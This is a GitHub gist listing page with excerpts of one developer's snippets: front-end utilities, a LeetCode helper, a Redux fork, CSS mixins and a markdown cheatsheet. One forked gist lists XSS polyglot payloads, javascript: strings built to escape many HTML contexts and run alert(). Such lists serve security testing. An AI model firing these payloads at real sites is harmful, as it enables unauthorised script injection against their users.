Skip to content

Instantly share code, notes, and snippets.

View HelKyle's full-sized avatar
🎯
Focusing

HelKyle HelKyle

🎯
Focusing
View GitHub Profile
@HelKyle
HelKyle / mobile-modal-scroll.html
Created November 5, 2022 08:36
mobile-modal-scroll.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
.popup {
display: none;
@HelKyle
HelKyle / leetcode-utils.js
Last active April 30, 2023 02:21
Leetcode Javascript Utils
// 二分找下限
function lower_bound(nums, target) {
let lo = 0, hi = nums.length;
while (lo < hi) {
const mid = lo + Math.floor((hi - lo) / 2);
if (nums[mid] >= target) {
hi = mid;
} else {
@HelKyle
HelKyle / xss-polyglots.txt
Created January 22, 2021 07:07 — forked from michenriksen/xss-polyglots.txt
XSS Polyglot payloads
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<
@HelKyle
HelKyle / vector.js
Created October 18, 2017 13:34
two dimension vector class
class Vector {
constructor (x = 0, y = 0) {
this.x = x
this.y = y
}
static add (vector1, vector2) {
return new Vector (
vector1.x + vector2.x,
vector1.y + vector2.y
)
@HelKyle
HelKyle / date-format.js
Created August 15, 2017 09:53
date-format
function dateFormat (date, fmt) {
if (!(date instanceof Date)) {
date = new Date(date)
}
if (isNaN(date.getTime())) {
return '??'
}
var o = {
'M+': date.getMonth() + 1,
'D+': date.getDate(),
@HelKyle
HelKyle / slim-redux.js
Created March 16, 2017 01:55 — forked from gaearon/slim-redux.js
Redux without the sanity checks in a single file. Don't use this, use normal Redux. :-)
function mapValues(obj, fn) {
return Object.keys(obj).reduce((result, key) => {
result[key] = fn(obj[key], key);
return result;
}, {});
}
function pick(obj, fn) {
return Object.keys(obj).reduce((result, key) => {
if (fn(obj[key])) {
@mixin for-size($size) {
@if $size == phone-only {
@media (max-width: 599px) { @content; }
} @else if $size == tablet-portrait-up {
@media (min-width: 600px) { @content; }
} @else if $size == tablet-landscape-up {
@media (min-width: 900px) { @content; }
} @else if $size == desktop-up {
@media (min-width: 1200px) { @content; }
@HelKyle
HelKyle / markdown.md
Created August 1, 2016 14:32 — forked from jonschlinkert/markdown-cheatsheet.md
A better markdown cheatsheet. I used Bootstrap's Base CSS documentation as a reference.

Typography

Headings

Headings from h1 through h6 are constructed with a # for each level:

# h1 Heading
## h2 Heading
### h3 Heading
@HelKyle
HelKyle / arrow.styl
Created May 17, 2016 09:19 — forked from saschagehlich/arrow.styl
An arrow mixin for Stylus, based on @shojberg's "cssarrowplease.com"
/**
* An arrow mixin for Stylus, based on @shojberg's "cssarrowplease.com"
* @param {Position} position
* @param {size, color} arrow
* @param {size, color} border (optional)
*/
arrow(position, arrow, border = 0 white)
// Resolve arguments
$arrowSize = arrow[0]
$arrowColor = arrow[1]
@HelKyle
HelKyle / meta.css
Created May 16, 2016 14:40 — forked from 1021683053/meta.css
淘宝rem.js
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">